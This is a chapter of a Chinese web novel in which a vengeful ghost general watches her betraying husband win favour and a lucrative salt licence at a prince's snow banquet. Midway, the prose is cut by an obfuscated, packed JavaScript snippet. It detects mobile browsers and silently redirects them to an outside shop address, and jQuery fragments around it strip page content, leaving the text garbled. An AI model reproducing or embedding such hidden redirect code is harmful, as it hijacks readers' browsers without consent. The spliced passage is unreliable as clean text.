一身深色官袍衬得许缭面色苍白,他被冻得嘴唇都有些哆嗦,可身姿却挺得笔直,那几根断骨之痛似乎已经消失得无影无踪。
林颂涟惊愕地蹙眉低语:“他不是被砸断了骨头吗......怎么还能......”
玉美邀漫不经心地剥了颗葡萄:“他能在你坟茔四周设法镇魂,能让你无法入梦,那自然就也有本事弄来可以瞬间康复的‘神药’了。”
岳上行坐于主座,朗声道:“许大人,你今日并未受邀在列,又何苦非得冒雪而来呢。”
许缭的手被冻得通红,因为受了寒,双腿到现在还有些站立不稳,可他都强忍着,努力让自己看上去一如既往的清正且风度翩翩。他躬身道:“殿下,下官近日因机缘巧合得了一件宝贝,华美异常,可臣卑微,自认无福消受此物,觉得该将它该赠予尊贵之人,又恰巧听闻殿下今日驾临听雨阁赏雪,所以便厚着脸,特来相赠。”
他说话时恭恭敬敬,卑躬屈膝的模样纹丝未动,丝毫没有因为被怠慢而有一丁点儿的不满。他就这样伫立在岳上行面前,好似一个心甘情愿伏低做小、忍气吞声的小妾。
林颂涟咬了咬嘴唇,道:“我在边关初遇他时,与此刻的窝囊模样简直如出一辙!”
弱小,瑟缩,看上去毫无攻击力。
只不过如今才看穿的窝囊和野心,当初却被粗枝大叶、冲昏头脑的自己误认为是谦卑、谨慎与尊重。
玉美邀饶有兴致地扬了扬眉:“哦?那倒是有意思了,因为许缭的面相告诉我,谁若让他有了低人一等的自卑感,他就会让谁付出代价。恐怕这位三皇子也要被暗中算计了。许缭从小家境贫寒,孤儿寡母没少被人欺辱,所以他有着异于常人的自尊心,尤为敏感脆弱,这幅谨小慎微的模样也都是假象。”
就好比林颂涟,即便上辈子根本没有侮辱过他,但他以臣服于妻子为耻,以靠妻子铺路为辱。他将林家对他的每一次接济都看作是对自己的无能进行的嘲讽。
因此,他愤恨来愤恨去,最终把一切都推在了最好算计的枕边人头上。
他恨林颂涟的卓越让自己成了别人口中吃软饭的赘婿。
玉美邀开始细细观察许缭的一举一动。
而那边岳上行大手一挥,让他把宝贝呈上来,下人便端来一个表面已经覆雪的木盒。
盒子打开,里面是一件精美的毡笠。
毡笠以玄狐软绒为里,外罩墨色贡呢,细密金线暗绣云纹。果然,喜好奢华的岳上行一看就挪不开眼了。
“的确是一件好看的衣裳,快让我试试。”岳上行两眼放光道。
一抹得逞的冷笑从许缭的唇角边一闪而过,他继续恭敬道:“是,殿下请。”
那件华美的毡笠展开,披在岳上行身上刚好合身,简直是量身打造一般。
许缭迫不及待地满口夸赞道:“殿下真乃天人之姿!唯您这般人物才能驾驭!况且此毡笠受过大师祝祷,殿下披上他,必是气运加身,日月同辉啊!”
此话一出,四周的人哪里还敢干坐着?他们瞧见岳上行对自己的新衣十分满意,当即也一个个站起来恭维。
“好!许大人这件宝贝我喜欢!”岳上行朗声笑道。
众人又开始连着许缭一起称赞,说他眼光极佳,哪里还有刚才背后嚼舌根的嘴脸。
眼瞧着岳上行有意在众人面前待见许缭,且逐渐将他奉为座上宾,这场筵席间的话题便不知不觉也向许缭靠拢。
岳上行先是提出许缭在定州兢兢业业,帮圣上做了不少事,深得器重;又提及他从前是如何忠于圣上,甚至不惜冒着风险告发自己的妻子——当时的镇远女将。
“许大人大义灭亲,为国为民鞠躬尽瘁,自从三年前那件事后,直到现在还孤身一人,没有再娶,真乃高洁雅士啊。”岳上行淡笑着,手中的酒盏微晃,琥珀色的酒水泛着粼粼波光。
有人识趣地附和一声:“此乃身正君子也。”
“其实林颂涟已是罪臣,哪怕许大人要尽了夫妻情分为她守丧,但到如今三年已过,也完全够了,早该考虑续弦再娶了。”
四周又是一片附和,谁敢说半个不字?
许缭脸上挂着谦和的笑:“微臣无心再娶,一切都随缘便好了。”
林颂涟听着这些言论,始终垂着头,没有看向许缭所在的方向,她怕自己现在多看那人渣一眼就会忍不住扑上去掐断他的脖子;她也怕自己会控制不住,去对着那些不明就里便胡乱开口的人一顿乱揍。
她衣袖下的指节已捏得发白,胸腔里那颗不复存在的心脏似乎都感到了寒凉。
这满堂的热闹,此刻听来,竟比边关的朔风更刺骨三分。
原来自己以为的荣辱与共的一生,自以为的激昂澎湃的厮杀,还有那保家卫国的豪情,在死后、在别人的嘴里,只是一句被潦草带过的针砭,一句为了活跃氛围的调侃,甚至沦为了许缭一次次用来加官进爵的工具。
阁内抒情悠扬的曲乐声不绝于耳,夹杂着众人笑容洋溢的欢闹。
在这和乐之际,岳上行却突然话锋一转,道:“说来,最近父皇正好还问过我,说江淮的盐引批文交给谁比较合适,如今一想,远在天边近在眼前,许大人不就是最好的人选吗?”
他独自笑呵呵道,全然不顾下面立刻僵住的气氛。
只有玉美邀毫无波澜地端起茶盏抿了一口。
呵,终于来了。
今天的重头戏原来在这儿等着呢。
江淮盐引,多肥的差事,多少权贵巴望着这块肉?朝中为此早已暗流涌动。可他们又岂知岳上行实则早把陛下给的批文私下甩到了许缭手里。
如今大费周章唱一出愿打愿挨的苦肉计,不过是演给别人看的而已。
众人就这样轻而易举地吃了个哑巴亏。
岳上行这番实在是奸诈。一来他刚刚拉着众人欺凌了许缭一番,二来他只是开口说要向陛下推荐许缭,仿佛此事并未真的下定论。
可在场的人心里哪个不明白,三皇子既然都这么说了,那此事多半早就敲定了。
淡漠品茗的玉美邀可管不着这些,她只顾着欣赏这些人脸上的精彩表情,可忽然的,她顿感自己身后一阵寒凉袭来……
林将军!<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025126|194365||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
玉美邀赶忙回头看去,就见此刻的林颂涟低着头,黑着脸,面色阴沉得要滴出水来,她牙齿咬得咯吱作响,口中幽怨地喃喃:“凭什么...凭什么......!”
凭什么这种人不仅活得好好的,甚至还能节节攀升!在名利场上混得如鱼得水?!
一股滔天的怨气几乎要冲垮她的意志,玉美邀甚至能感受到林颂涟在她身后正气得发抖!
“江淮盐引......竟然真的落入他手......”
那轻飘飘的一纸文书,在她眼中却比边关的万钧城门更重。
她仿佛看见,那文书上写的官衔,每一个字都是用她麾下枉死将士的血、用她林氏一门的忠烈名声、用她被亲手扼杀的痴情写就!
自己因为痴傻而付出的血海代价,最终竟然给他铺了一条升官发财的康庄大道?!
彻骨的阴寒从她身体散发出来。
四周案几上的烛火猛地摇曳了几下,明明灭灭,映得满堂华彩都在一瞬间染上了一层诡谲的青灰。
“怎...怎么回事......”玉暖香眉头一跳,她有了先前的经历,知道了世上真的有鬼后,开始变得有些敏感。
身边的沈薇雨搓了搓手臂,道:“香儿,你觉没觉得突然好冷......”
玉美邀暗叫不好,她没想到林颂涟会突然爆发出如此滔天的怨气。
是她低估了仇恨的力量。
她当即默念了一段净心诀,左手在宽大的袖下紧紧握住了林颂涟的衣角,一阵阵暖流不断向她输送而去。
“将军,冷静!”
万幸,林颂涟发黑的眼底这才逐渐清明。
阴风散去,烛火不再摇摆,周遭依旧歌舞升平。
刚才的一刹那对于众人而言不过是从缝隙里钻进来的寒风所致,根本不值得关注。
而许缭呢,他正在与三皇子谈笑,那一瞬间的灰暗似乎根本不值一提。
缝隙里吹进来的风雪罢了。
林颂涟默默抬首,胸口因为深呼吸而起伏着,她无声地看着那个昂首坐于岳上行身边风光无限的男人。
从他进入听雨阁开始,自己就因为他的存在而心惊肉跳。可对方呢,甚至根本不知道自己的存在!
林颂涟自嘲一笑。也对,在人家看来,她早就成了被困住的恶鬼,永生永世都不可能翻身。
可只有许缭自己清楚,刚才那转瞬即逝的灰暗一刻,让他没来由地感到一阵心悸,仿佛有一双来自地狱的眼睛,正死死钉在他的后脑,要将他拖入无尽深渊。
他一边假意与三皇子闲聊,一边用余光去搜寻那股不适的感觉。
是谁……是谁在偷偷注视着自己?
他伪装成不经意间扫过的目光在下方席位上环视一圈,顿时,一个高大的身影将他牢牢吸引。
大厅的侧端,一众女眷里,端坐着一位面生的官家小姐,那小姐看上去优雅娴静,甜美中带着娇俏,而她身后,正站着一个身形高大的丫鬟......
丫鬟低着头,看不清面貌,可烛光蹁跹里,乍看之下,恍若故人……